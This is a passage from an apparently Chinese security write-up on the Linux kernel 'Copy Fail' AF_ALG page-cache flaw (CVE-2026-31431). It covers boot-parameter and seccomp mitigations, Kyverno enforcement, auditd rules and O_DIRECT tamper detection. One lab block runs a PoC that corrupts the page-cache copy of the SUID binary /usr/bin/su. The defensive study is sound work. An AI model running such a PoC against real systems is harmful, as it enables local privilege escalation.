CRYPTO_USER_API_AEAD /boot/config-$(<span class="code-snippet__built_in">uname</span> -r)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># CONFIG_CRYPTO_USER_API_AEAD=y    ← 内建! 非模块</span></span><span leaf=""><br/></span><span leaf="">rmmod algif_aead 2&gt;&amp;1</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># rmmod: ERROR: Module algif_aead is builtin.</span></span></code></pre></p><p><span mpa-font-style="mp0kvm4w16li" style="font-size: 15px;"><span leaf="">必须使用</span><code><span leaf="">initcall_blacklist</span></code><span leaf="">内核启动参数：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4w17bs"><span leaf=""><span class="code-snippet__comment"># 禁用 algif_aead 初始化</span></span><span leaf=""><br/></span><span leaf="">grubby --update-kernel=ALL --args=<span class="code-snippet__string">&#34;initcall_blacklist=algif_aead_init&#34;</span></span><span leaf=""><br/></span><span leaf="">reboot</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 更激进的方式: 禁用整个 AF_ALG 接口</span></span><span leaf=""><br/></span><span leaf="">grubby --update-kernel=ALL --args=<span class="code-snippet__string">&#34;initcall_blacklist=af_alg_init&#34;</span></span><span leaf=""><br/></span><span leaf="">reboot</span></code></pre></p><p><span mpa-font-style="mp0kvm4wvrq" style="font-size: 15px;"><strong><span leaf="">验证缓解生效</span></strong><span leaf="">（所有发行版通用）：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4w6v8"><span leaf="">python3 -c <span class="code-snippet__string">&#34;import socket; socket.socket(38,5,0)&#34;</span> 2&gt;&amp;1</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 预期: OSError: [Errno 97] Address family not supported by protocol</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># 或:   OSError: [Errno 93] Protocol not supported</span></span></code></pre></p><blockquote><p><strong mpa-font-style="mp0kvm4w1j0u" style="font-size: 15px;"><span leaf="">注意事项</span></strong></p><ul style="list-style-type: disc;padding-left: 1.2em;color: rgb(37, 37, 37);" class="list-paddingleft-1"><li><p><span mpa-font-style="mp0kvm4wp0b" style="font-size: 15px;"><span leaf="">以上缓解可能影响使用内核硬件加速加密的应用（如 OpenSSL 的</span><code><span leaf="">afalg</span></code><span leaf="">engine、IPsec 的</span><code><span leaf="">xfrm</span></code><span leaf="">）。大多数应用会自动 fallback 到用户空间加密实现，影响极小。</span></span></p></li><li><strong mpa-font-style="mp0kvm4wfo5" style="font-size: 15px;"><span leaf="">KernelCare 用户</span></strong><p><span mpa-font-style="mp0kvm4wmcu" style="font-size: 15px;"><span leaf="">（CloudLinux）：</span><code><span leaf="">kcarectl --update</span></code><span leaf="">即可应用 live patch，无需重启。验证：</span><code><span leaf="">kcarectl --patch-info | grep -i &#34;copy.fail\|algif_aead\|CVE-2026-31431&#34;</span></code><span leaf="">。</span></span></p></li></ul></blockquote><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4w12kx" style="font-size: 15px;"><span leaf="">7.3 容器环境防御</span></span></h3><p><span mpa-font-style="mp0kvm4wpxy" style="font-size: 15px;"><span leaf="">如果宿主机内核已升级至修复版本（7.1）或已禁用漏洞模块（7.2），漏洞已从根源消除，以下容器层面的缓解</span><strong><span leaf="">不是必须的</span></strong><span leaf="">。但作为纵深防御，仍建议部署 Seccomp 策略阻止</span><code><span leaf="">AF_ALG</span></code><span leaf="">socket——这一接口在容器中几乎没有合法使用场景，阻止它不仅防御 Copy Fail，也能降低内核加密子系统未来出现新漏洞时的攻击面。</span></span></p><blockquote><p><strong mpa-font-style="mp0kvm4w15c7" style="font-size: 15px;"><span leaf="">默认安全机制不防御</span></strong></p><p style="text-align: left;"><span mpa-font-style="mp0kvm4w1c1o" style="font-size: 15px;"><span leaf=""><span textstyle="" style="letter-spacing: normal;">旧版 Docker（&lt; 29.4.2）默认 seccomp profile、Kubernetes</span></span><code><span leaf=""><span textstyle="" style="letter-spacing: normal;">RuntimeDefault</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: normal;">、SELinux targeted 策略均</span></span><strong><span leaf=""><span textstyle="" style="letter-spacing: normal;">允许</span></span></strong><code><span leaf=""><span textstyle="" style="letter-spacing: normal;">socket(AF_ALG)</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: normal;">和</span></span><code><span leaf=""><span textstyle="" style="letter-spacing: normal;">splice()</span></span></code><span leaf=""><span textstyle="" style="letter-spacing: normal;">调用，无法阻止漏洞利用。</span></span></span></p></blockquote><h4 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4wijv" style="font-size: 15px;"><span leaf="">升级 Docker 容器运行时</span></span></h4><p><span mpa-font-style="mp0kvm4w1mfw" style="font-size: 15px;"><span leaf="">Docker ≥ 29.4.2已更新默认 seccomp profile(</span><span leaf=""><a href="https://github.com/moby/moby/pull/52494" target="_blank">https://github.com/moby/moby/pull/52494</a></span><span leaf="">)阻止</span><code><span leaf="">AF_ALG</span></code><span leaf="">socket 创建。对于 Docker 用户，</span><strong><span leaf="">升级是最简单的防御方案</span></strong><span leaf="">，无需任何额外配置：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4w1dah"><span leaf="">docker <span class="code-snippet__comment">--version</span></span><span leaf=""><br/></span><span leaf=""># Docker version <span class="code-snippet__number">29.4.3</span> 或更高 → 已内置防御</span><span leaf=""><br/></span><span leaf=""># 验证</span><span leaf=""><br/></span><span leaf="">docker run <span class="code-snippet__comment">--rm python:3.11-slim python3 -c &#34;</span></span><span leaf=""><br/></span><span leaf="">import socket</span><span leaf=""><br/></span><span leaf="">try:</span><span leaf=""><br/></span><span leaf="">    socket.socket(<span class="code-snippet__number">38</span>, <span class="code-snippet__number">5</span>, <span class="code-snippet__number">0</span>)</span><span leaf=""><br/></span><span leaf="">    print(<span class="code-snippet__string">&#39;[!] FAIL — AF_ALG not blocked&#39;</span>)</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__keyword">except</span> OSError <span class="code-snippet__keyword">as</span> e:</span><span leaf=""><br/></span><span leaf="">    print(f<span class="code-snippet__string">&#39;[+] AF_ALG blocked: {e}&#39;</span>)&#34;</span></code></pre></p><p><strong mpa-font-style="mp0kvm4wo3l" style="font-size: 15px;"><span leaf="">Docker 29.4.2 回归问题</span></strong></p><p><span mpa-font-style="mp0kvm4w20by" style="font-size: 15px;"><span leaf="">29.4.2 通过 seccomp 阻止</span><code><span leaf="">socketcall(2)</span></code><span leaf="">来防御 AF_ALG，但这破坏了 32 位程序和 i386 镜像（SteamCMD、Wine 等）。29.4.3（2026-05-06）修复了这一回归：改用 Docker 自有的 AppArmor/SELinux</span><strong><span leaf="">容器策略</span></strong><span leaf="">在 LSM 层阻止 AF_ALG，不影响 32 位程序。</span><strong><span leaf="">建议直接升级到 ≥ 29.4.3</span></strong><span leaf="">。</span></span></p><p><span mpa-font-style="mp0kvm4w1ags" style="font-size: 15px;"><span leaf="">注意：这里的 SELinux 规则是 Docker</span><strong><span leaf="">自行添加到容器 profile 中</span></strong><span leaf="">的</span><code><span leaf="">alg_socket</span></code><span leaf="">拒绝规则，不同于系统默认的 SELinux targeted 策略（后者不感知 AF_ALG，无法防御）。此外，在 RHEL/CentOS 等 SELinux 系统上需要在</span><code><span leaf="">daemon.json</span></code><span leaf="">中设置</span><code><span leaf="">&#34;selinux-enabled&#34;: true</span></code><span leaf="">才能生效（默认未启用）；未启用时 Docker 会 fallback 到 AppArmor 规则（Ubuntu/Debian 等默认可用）。</span></span></p><blockquote><p><strong mpa-font-style="mp0kvm4w1qki" style="font-size: 15px;"><span leaf="">Kubernetes 不受 Docker 版本影响</span></strong></p><p><span mpa-font-style="mp0kvm4w311" style="font-size: 15px;"><span leaf="">K8s 的</span><code><span leaf="">RuntimeDefault</span></code><span leaf="">seccomp profile 由 kubelet 独立管理，升级 Docker 不会改变 K8s 容器的 seccomp 行为，需通过下方自定义 profile 进行缓解。</span></span></p></blockquote><h4 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4w1ix9" style="font-size: 15px;"><span leaf="">Seccomp 自定义策略部署</span></span></h4><p><span mpa-font-style="mp0kvm4woz8" style="font-size: 15px;"><span leaf="">对于无法升级 Docker 的环境或 Kubernetes 集群，需手动部署自定义 seccomp profile。该方案仅拦截</span><code><span leaf="">AF_ALG</span></code><span leaf="">（family=38）的 socket 创建，不影响 TCP/UDP 等正常网络通信，AF_ALG 接口在绝大多数容器化应用中没有合法使用场景。</span></span></p><p><span mpa-font-style="mp0kvm4wsjy" style="font-size: 15px;"><span leaf="">自定义 seccomp profile（</span><code><span leaf="">block-af-alg.json</span></code><span leaf="">）：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4wl83"><span leaf="">{</span><span leaf=""><br/></span><span leaf="">&#34;defaultAction&#34;</span><span leaf="">:</span><span leaf=""><span class="code-snippet__string">&#34;SCMP_ACT_ALLOW&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">&#34;syscalls&#34;</span><span leaf="">:</span><span leaf="">[</span><span leaf=""><br/></span><span leaf="">{</span><span leaf=""><br/></span><span leaf="">&#34;names&#34;</span><span leaf="">:</span><span leaf="">[</span><span leaf=""><span class="code-snippet__string">&#34;socket&#34;</span></span><span leaf="">]</span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">&#34;action&#34;</span><span leaf="">:</span><span leaf=""><span class="code-snippet__string">&#34;SCMP_ACT_ERRNO&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">&#34;errnoRet&#34;</span><span leaf="">:</span><span leaf=""><span class="code-snippet__number">1</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">&#34;args&#34;</span><span leaf="">:</span><span leaf="">[</span><span leaf=""><br/></span><span leaf="">{</span><span leaf="">&#34;index&#34;</span><span leaf="">:</span><span leaf=""><span class="code-snippet__number">0</span></span><span leaf="">,</span><span leaf="">&#34;value&#34;</span><span leaf="">:</span><span leaf=""><span class="code-snippet__number">38</span></span><span leaf="">,</span><span leaf="">&#34;op&#34;</span><span leaf="">:</span><span leaf=""><span class="code-snippet__string">&#34;SCMP_CMP_EQ&#34;</span> </span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">}</span></code></pre></p><blockquote><p><span leaf="" mpa-font-style="mp0kvm4w1kh4" style="font-size: 15px;">跨发行版适用性</span></p><p><span mpa-font-style="mp0kvm4w1518" style="font-size: 15px;"><span leaf="">Seccomp (seccomp-bpf) 是 Linux</span><strong><span leaf="">内核级特性</span></strong><span leaf="">（自 3.17 起稳定支持），不依赖任何特定发行版。上述 profile</span><strong><span leaf="">适用于所有 Linux 发行版</span></strong><span leaf="">，只要内核版本 ≥ 3.17、容器运行时支持 seccomp（Docker ≥ 1.10、containerd、CRI-O、Podman 均支持）。</span></span></p><p><span mpa-font-style="mp0kvm4w80f" style="font-size: 15px;"><span leaf="">对于非容器环境（裸机/VM），可通过</span><code><span leaf="">libseccomp</span></code><span leaf="">在应用启动时加载 profile，或使用 systemd 的</span><code><span leaf="">SystemCallFilter=</span></code><span leaf="">指令限制。</span></span></p></blockquote><p><span mpa-font-style="mp0kvm4w1ead" style="font-size: 15px;"><strong><span leaf="">Docker 手动部署</span></strong><span leaf="">：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4wksr"><span leaf="">docker run --<span class="code-snippet__built_in">rm</span> --security-opt seccomp=block-af-alg.json \</span><span leaf=""><br/></span><span leaf="">  python:3.11-slim python3 -c <span class="code-snippet__string">&#34;</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">import socket</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">try:</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">    socket.socket(38, 5, 0)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">    print(&#39;[!] FAIL&#39;)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">except PermissionError as e:</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">    print(f&#39;[+] AF_ALG blocked: {e}&#39;)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">print(&#39;[+] TCP socket OK&#39;)</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">s.close()&#34;</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># [+] AF_ALG blocked: [Errno 1] Operation not permitted</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># [+] TCP socket OK</span></span></code></pre></p><p><span mpa-font-style="mp0kvm4w1tbx" style="font-size: 15px;"><strong><span leaf="">Kubernetes 部署</span></strong><span leaf="">：</span></span></p><p style="text-align: left;"><span leaf="" mpa-font-style="mp0kvm4w1jzg" style="font-size: 15px;"><span textstyle="" style="letter-spacing: normal;">Pod Security Standards (PSS)</span><span textstyle="" style="letter-spacing: normal;color: rgb(136, 136, 136);font-style: italic;">(</span></span><span leaf=""><span textstyle="" style="letter-spacing: normal;color: rgb(136, 136, 136);font-style: italic;"><a href="https://kubernetes.io/docs/concepts/security/pod-security-standards/" target="_blank">https://kubernetes.io/docs/concepts/security/pod-security-standards/</a></span></span><span leaf="" mpa-font-style="mp0kvm4w1jzg" style="font-size: 15px;"><span textstyle="" style="letter-spacing: normal;color: rgb(136, 136, 136);font-style: italic;">)</span><span textstyle="" style="letter-spacing: normal;">的三个级别（Privileged / Baseline / Restricted）均不限制 AF_ALG 的使用，必须手动部署自定义 profile：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4w1a9y"><span leaf=""><span class="code-snippet__built_in">cp</span> block-af-alg.json /var/lib/kubelet/seccomp/</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># k3s 路径: /var/lib/rancher/k3s/agent/seccomp/</span></span></code></pre></p><p><span leaf="" mpa-font-style="mp0kvm4w152t" style="font-size: 15px;">Pod 配置中引用：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4wvzs"><span leaf="">spec:</span><span leaf=""><br/></span><span leaf="">securityContext:</span><span leaf=""><br/></span><span leaf="">seccompProfile:</span><span leaf=""><br/></span><span leaf="">type:</span><span leaf=""><span class="code-snippet__string">Localhost</span></span><span leaf=""><br/></span><span leaf="">localhostProfile:</span><span leaf=""><span class="code-snippet__string">block-af-alg.json</span></span></code></pre></p><p><span leaf="" mpa-font-style="mp0kvm4w16zi" style="font-size: 15px;">推荐通过Kyverno或OPA/Gatekeeper等准入控制器强制所有 Pod 使用自定义 profile，防止遗漏：</span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4w1x2e"><span leaf="">apiVersion:</span><span leaf=""><span class="code-snippet__string">kyverno.io/v1</span></span><span leaf=""><br/></span><span leaf="">kind:</span><span leaf=""><span class="code-snippet__string">ClusterPolicy</span></span><span leaf=""><br/></span><span leaf="">metadata:</span><span leaf=""><br/></span><span leaf="">name:</span><span leaf=""><span class="code-snippet__string">require-seccomp-block-af-alg</span></span><span leaf=""><br/></span><span leaf="">spec:</span><span leaf=""><br/></span><span leaf="">validationFailureAction:</span><span leaf=""><span class="code-snippet__string">Enforce</span></span><span leaf=""><br/></span><span leaf="">rules:</span><span leaf=""><br/></span><span leaf="">-</span><span leaf="">name:</span><span leaf=""><span class="code-snippet__string">check-seccomp</span></span><span leaf=""><br/></span><span leaf="">match:</span><span leaf=""><br/></span><span leaf="">any:</span><span leaf=""><br/></span><span leaf="">-</span><span leaf="">resources:</span><span leaf=""><br/></span><span leaf="">kinds:</span><span leaf=""> [<span class="code-snippet__string">&#34;Pod&#34;</span>]</span><span leaf=""><br/></span><span leaf="">validate:</span><span leaf=""><br/></span><span leaf="">message:</span><span leaf=""><span class="code-snippet__string">&#34;Pod must use block-af-alg seccomp profile (CVE-2026-31431 mitigation)&#34;</span></span><span leaf=""><br/></span><span leaf="">pattern:</span><span leaf=""><br/></span><span leaf="">spec:</span><span leaf=""><br/></span><span leaf="">securityContext:</span><span leaf=""><br/></span><span leaf="">seccompProfile:</span><span leaf=""><br/></span><span leaf="">type:</span><span leaf=""><span class="code-snippet__string">&#34;Localhost&#34;</span></span><span leaf=""><br/></span><span leaf="">localhostProfile:</span><span leaf=""><span class="code-snippet__string">&#34;block-af-alg.json&#34;</span></span></code></pre></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><div style="font-size: 15px;letter-spacing: 1px;line-height: 1.5;padding: 0px 8px;box-sizing: border-box;font-style: normal;font-weight: 400;text-align: justify;color: rgb(62, 62, 62);" data-pm-slice="0 0 []"><div style="will-change: transform;box-sizing: border-box;"><div style="display: flex;flex-flow: row;margin: 15px 0% 10px;text-align: center;justify-content: center;box-sizing: border-box;"><div style="display: inline-block;vertical-align: top;width: auto;background-color: rgb(246, 246, 246);flex: 0 0 auto;align-self: flex-start;min-width: 10%;max-width: 100%;height: auto;box-shadow: rgb(0, 0, 0) 0px 0px 0px;border-width: 0px;box-sizing: border-box;"><div style="transform: translate3d(4px, 0px, 0px);-webkit-transform: translate3d(4px, 0px, 0px);-moz-transform: translate3d(4px, 0px, 0px);-o-transform: translate3d(4px, 0px, 0px);box-sizing: border-box;"><div style="padding: 0px 17px;color: rgb(88, 88, 88);box-sizing: border-box;"><p style="margin: 0px;padding: 0px;box-sizing: border-box;"><strong style="box-sizing: border-box;"><span leaf="">八、攻击检测</span></strong></p></div></div></div></div></div></div><h2><span mpa-font-style="mp0kvm4w1rh0"><span leaf="" style="font-size: 15px;"><span textstyle="" style="font-weight: bold;">8.1 Syscall 层审计与局限</span></span></span></h2><p><span mpa-font-style="mp0kvm4w12jk" style="font-size: 15px;"><span leaf="">最直接的检测思路是监控漏洞利用链中的关键 syscall。Auditd 可以记录</span><code><span leaf="">AF_ALG</span></code><span leaf="">socket 创建事件：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4whrh"><span leaf=""><span class="code-snippet__comment"># 持久化审计规则</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__built_in">cat</span> &gt; /etc/audit/rules.d/copyfail.rules &lt;&lt;<span class="code-snippet__string">&#39;EOF&#39;</span></span><span leaf=""><br/></span><span leaf="">-a always,<span class="code-snippet__built_in">exit</span> -F <span class="code-snippet__built_in">arch</span>=b64 -S socket -F a0=38 -k copyfail_af_alg</span><span leaf=""><br/></span><span leaf="">-a always,<span class="code-snippet__built_in">exit</span> -F <span class="code-snippet__built_in">arch</span>=b64 -S splice -k copyfail_splice</span><span leaf=""><br/></span><span leaf="">EOF</span><span leaf=""><br/></span><span leaf="">augenrules --load</span></code></pre></p><p><span mpa-font-style="mp0kvm4w250u" style="font-size: 15px;"><span leaf="">在容器环境中</span><code><span leaf="">AF_ALG</span></code><span leaf="">的合法使用极少，Falco 等 eBPF 工具可以对容器内的</span><code><span leaf="">AF_ALG</span></code><span leaf="">socket 创建做实时告警。但裸机/VM 环境中 OpenSSL</span><code><span leaf="">afalg</span></code><span leaf="">engine、</span><code><span leaf="">dm-crypt</span></code><span leaf="">等正常使用</span><code><span leaf="">AF_ALG</span></code><span leaf="">的场景会持续产生误报。即使同时匹配</span><code><span leaf="">AF_ALG</span></code><span leaf="">+</span><code><span leaf="">splice</span></code><span leaf="">组合，也无法区分合法加密操作和漏洞利用——打开</span><code><span leaf="">AF_ALG</span></code><span leaf="">socket 并调用</span><code><span leaf="">splice</span></code><span leaf="">不等于在利用漏洞，这些 syscall 本身是合法的内核接口。</span></span></p><p><span mpa-font-style="mp0kvm4wk68" style="font-size: 15px;"><strong><span leaf="">核心局限</span></strong><span leaf="">：基于 syscall 的检测无法做到零误报——它只能说明&#34;有人在使用</span><code><span leaf="">AF_ALG</span></code><span leaf="">&#34;，不能确认&#34;有人在利用 Copy Fail&#34;。更根本的问题是覆盖面：如第五章所述，页缓存覆写是一个反复出现的漏洞模式——针对</span><code><span leaf="">AF_ALG</span></code><span leaf="">的检测抓不到 Dirty Frag 的</span><code><span leaf="">AF_KEY</span></code><span leaf="">，针对</span><code><span leaf="">splice</span></code><span leaf="">的检测无法区分合法零拷贝操作。黑名单特定 syscall 永远追不上新变种。</span></span></p><p><span mpa-font-style="mp0kvm4wiac" style="font-size: 15px;"><span leaf="">换一个思路——不检测攻击手段，而是检测</span><strong><span leaf="">攻击结果</span></strong><span leaf="">。无论攻击者利用的是哪个漏洞，对于仅修改页缓存的漏洞（Dirty Pipe、Copy Fail、Dirty Frag），篡改后的页缓存与磁盘上的原始内容之间必然产生不一致。这个不一致是可以被检测的。</span></span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4wofs" style="font-size: 15px;"><span leaf="">8.2 通用检测：O_DIRECT 页缓存比对法</span></span></h3><p><span mpa-font-style="mp0kvm4w18a1" style="font-size: 15px;"><code><span leaf="">O_DIRECT</span></code><span leaf="">标志使</span><code><span leaf="">read()</span></code><span leaf="">绕过页缓存，直接从磁盘块设备读取数据。将</span><code><span leaf="">O_DIRECT</span></code><span leaf="">读取结果与普通</span><code><span leaf="">read()</span></code><span leaf="">结果比较，如果不一致，说明页缓存被篡改：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4wyd8"><span leaf=""><span class="code-snippet__string">普通</span> </span><span leaf="">read:</span><span leaf=""><span class="code-snippet__string">文件</span> <span class="code-snippet__string">→</span> [<span class="code-snippet__string">Page</span> <span class="code-snippet__string">Cache</span>] <span class="code-snippet__string">→</span> <span class="code-snippet__string">用户</span> <span class="code-snippet__string">buffer</span>    <span class="code-snippet__string">←</span> <span class="code-snippet__string">读到篡改后的数据</span></span><span leaf=""><br/></span><span leaf="">O_DIRECT:</span><span leaf=""><span class="code-snippet__string">文件</span> <span class="code-snippet__string">→</span> [<span class="code-snippet__string">磁盘</span>]       <span class="code-snippet__string">→</span> <span class="code-snippet__string">用户</span> <span class="code-snippet__string">buffer</span>    <span class="code-snippet__string">←</span> <span class="code-snippet__string">读到原始数据</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__string">如果两者不同</span> <span class="code-snippet__string">→</span> <span class="code-snippet__string">Page</span> <span class="code-snippet__string">Cache</span> <span class="code-snippet__string">被非法修改</span></span></code></pre></p><p><span leaf="" mpa-font-style="mp0kvm4wujw" style="font-size: 15px;">这一方法有三个关键优势：</span></p><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><strong mpa-font-style="mp0kvm4w13rc" style="font-size: 15px;"><span leaf="">通用性</span></strong><p><span mpa-font-style="mp0kvm4wt6g" style="font-size: 15px;"><span leaf="">能检测所有</span><strong><span leaf="">仅修改页缓存</span></strong><span leaf="">的漏洞（Copy Fail、Dirty Pipe、Dirty Frag 以及未来同类 0-day），不绑定特定攻击手段。Dirty COW 是例外——它会通过 page writeback 将修改写回磁盘，导致 O_DIRECT 读到的也是篡改后的数据，需要依赖传统文件完整性检查（</span><code><span leaf="">rpm -V</span></code><span leaf="">/ AIDE / Tripwire）来检测</span></span></p></li><li><strong mpa-font-style="mp0kvm4w10zq" style="font-size: 15px;"><span leaf="">确定性</span></strong><p><span mpa-font-style="mp0kvm4w246q" style="font-size: 15px;"><span leaf="">对于没有被任何进程以写模式打开的文件，page cache 与磁盘不一致是</span><strong><span leaf="">绝对异常</span></strong><span leaf="">——Linux 内核通过</span><code><span leaf="">deny_write_access()</span></code><span leaf="">保证文件不可能被同时写入和执行</span></span></p></li><li><strong mpa-font-style="mp0kvm4w25l" style="font-size: 15px;"><span leaf="">检测攻击结果而非手段</span></strong><p><span leaf="" mpa-font-style="mp0kvm4w1a42" style="font-size: 15px;">即使攻击者使用未知漏洞篡改 page cache，只要篡改发生就能检测到</span></p></li></ul><p><span mpa-font-style="mp0kvm4w1e5s" style="font-size: 15px;"><span leaf="">在 CentOS 8 (XFS) 实验环境中验证了 O_DIRECT 对 overlay2 层文件和宿主机 SUID 文件的检测能力。以宿主机</span><code><span leaf="">/usr/bin/su</span></code><span leaf="">（SUID 文件）为例：</span></span></p><p data-mpa-preserve-tpl-color="t" data-mpa-template="t" mpa-preserve="t" mpa-from-tpl="t"><pre style="margin:0;padding:0;border-radius:none;background:none;"><code style="border-radius: 4px;font-size: 15px;margin: 0px 0.15em;background: rgb(40, 44, 52);color: rgb(171, 178, 191);display: block;padding: 5.95px;overflow-x: auto;" mpa-font-style="mp0kvm4w1529"><span leaf=""><span class="code-snippet__comment"># Copy Fail 篡改 /usr/bin/su 的 ELF header</span></span><span leaf=""><br/></span><span leaf="">python3 poc_marker.py /usr/bin/su</span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># [+] SUCCESS: page cache corrupted! first 4 bytes = deadbeef</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># O_DIRECT 比对立即检测到差异</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># Page cache [0:16]: deadbeef020101000000000000000000  ← 篡改后</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># O_DIRECT  [0:16]: 7f454c46020101000000000000000000  ← 磁盘原始 ELF header</span></span><span leaf=""><br/></span><span leaf=""><span class="code-snippet__comment"># [ALERT] SUID binary TAMPERED! 4 bytes differ at: [0, 1, 2, 3]</span></span></code></pre></p><p><span mpa-font-style="mp0kvm4w1dos" style="font-size: 15px;"><span leaf="">技术实现要点：</span><code><span leaf="">O_DIRECT</span></code><span leaf="">读取要求内存地址和读取长度按文件系统块大小（通常 4096）对齐，需要通过</span><code><span leaf="">posix_memalign()</span></code><span leaf="">分配对齐 buffer。ext4、XFS、Btrfs 和 overlay2（底层为 ext4/XFS 时）均支持</span><code><span leaf="">O_DIRECT</span></code><span leaf="">；tmpfs 不支持（但不太可能是攻击目标）。</span></span></p><h3 style="font-weight:bold;font-size:15px;margin-top: 1rem;margin-bottom: 1rem;"><span mpa-font-style="mp0kvm4w21m2" style="font-size: 15px;"><span leaf="">8.3 执行时拦截：fanotify Guard</span></span></h3><p><span leaf="" mpa-font-style="mp0kvm4w15j0" style="font-size: 15px;">O_DIRECT 比对解决了&#34;能不能检测&#34;的问题，但还需要回答&#34;何时触发检测&#34;。定期全量扫描不够及时，对每个文件 open 